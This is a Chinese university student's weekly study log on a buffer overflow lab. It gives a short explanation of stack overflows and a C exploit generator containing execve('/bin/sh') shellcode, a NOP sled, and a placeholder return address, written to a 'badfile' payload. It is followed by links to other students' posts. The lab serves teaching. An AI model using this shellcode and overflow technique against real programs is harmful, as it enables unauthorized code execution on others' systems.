首页 > 编程语言 >学期 2024-2025-1 学号 20241409《计算机基础与程序设计》第十四周学习总结

学期 2024-2025-1 学号 20241409《计算机基础与程序设计》第十四周学习总结

时间:2024-12-29 21:29:46浏览次数:5  
标签:x90 eax buffer badfile 20241409 2024 2025 pushl

作业信息
这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计
这个作业要求在哪里 2024-2025-1计算机基础与程序设计第十四周作业
这个作业的目标 《C语言程序设计》第十四章
作业正文
本周学习内容

进行了缓冲区溢出实验

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

实验中遇到的问题:将攻击漏洞代码粘贴后,不能正常编译,出现了错误

include <stdlib.h>

include <stdio.h>

include <string.h>

char shellcode[] =

"\x31\xc0" //xorl %eax,%eax

"\x50"     //pushl %eax

"\x68""//sh" //pushl $0x68732f2f

"\x68""/bin"     //pushl $0x6e69622f

"\x89\xe3" //movl %esp,%ebx

"\x50"     //pushl %eax

"\x53"     //pushl %ebx

"\x89\xe1" //movl %esp,%ecx

"\x99"     //cdq

"\xb0\x0b" //movb $0x0b,%al

"\xcd\x80" //int $0x80

;

void main(int argc, char **argv)

{

char buffer[517];

FILE *badfile;



/* Initialize buffer with 0x90 (NOP instruction) */

memset(&buffer, 0x90, 517);



/* You need to fill the buffer with appropriate contents here */

strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  

strcpy(buffer + 100, shellcode);  



/* Save the contents to the file "badfile" */

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}

观察代码后发现有一句printf语句粘贴后和原代码不同,经过改正后,可以正常编译。

基于ai的学习:

标签:x90,eax,buffer,badfile,20241409,2024,2025,pushl
From: https://www.cnblogs.com/smpj/p/18639598

相关文章

  • 2024-2025-1 20241311 《计算机基础与程序设计》第十四周学习总结
    学期2024-2025-1学号20241311《计算机基础与程序设计》第十四周学习总结作业信息这个作业属于哪个课程<班级的链接>2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>2024-2025-1计算机基础与程序设计第一周作业这个作业的目标<写上具体......
  • 2024-2025-1 20241319 《计算机基础与程序设计》第十四周学习总结
    作业信息这个作业属于哪个课程2024-2025-1-计算机基础与程序设计这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK14这个作业的目标《C语言程序设计》第13章作业正文https://www.cnblogs.com/wchxx/p/18639513**教材学习内容总结1.......
  • 学期2024-2025-1学号202413177 《计算机基础与程序设计》第十四周学习总结
    学期2024-2025-1学号202413177《计算机基础与程序设计》第十四周学习总结作业信息这个作业属于哪个课程<班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2024-2025-1计算机基础与程序设计第一周作业)这个作业的目标<写上具......
  • 2024-2025-1(20241321)《计算机基础与程序设计》第十四周学习总结
    这个作业属于哪个课程<班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(2024-2025-1计算机基础与程序设计第十四周作业)这个作业的目标<深刻学习C语言,反思一周学习,温故知新>作业正文...本博客链接https://www.cnblogs.com/guc......
  • 20241313刘鸣宇《计算机基础与程序设计》第14周学习总结
    2024-2025-120241313《计算机基础与程序设计》第14周学习总结作业信息这个作业属于哪个课程<班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2024-2025-1计算机基础与程序设计第一周作业)这个作业的目标<写上具体方面>......
  • 最新智能科学与技术专业毕业设计选题推荐 2025
    目录毕设选题选题迷茫选题的重要性更多选题指导最后     大四是整个大学期间最忙碌的时光,一边要忙着准备考研,考公,考教资或者实习为毕业后面临的就业升学做准备,一边要为毕业设计耗费大量精力。大四的同学马上要开始毕业设计,对选题有疑问可以问学长哦!以下......
  • 2024-2025-1 20241403《计算机基础与程序设计》第十四周学习总结
    2024-2025-120241403《计算机基础与程序设计》第十四周学习总结作业信息这个作业属于哪个课程<班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(2024-2025-1计算机基础与程序设计第十四周作业)这个作业的目标二进制文件和文本文......
  • 轻舟已过万重山——2024秋软工实践个人总结
    ......
  • 2024.12.28 Good Bye 2024: 2025 is NEAR
    比赛链接Solved:5/10Rank:1565-90又-90,好不容易上点分两场全掉没了……A.TenderCarpenter题意:\(n\)个数,问能否有多于一种划分方案,使得划分出的每组数中任选三个数(可以相同)都能构成三角形。显然全划分成一个是合法的;那么只需考虑任意的相邻两个数能否分成一组即可。......
  • 2024.12.28 周六
    2024.12.28周六Q1.1100Youaregiventwointegers$l\ler$.Youneedtofindpositiveintegers$a$and$b$suchthatthefollowingconditionsaresimultaneouslysatisfied:$l\lea+b\ler$$\gcd(a,b)\neq1$orreportthattheydonotexist.......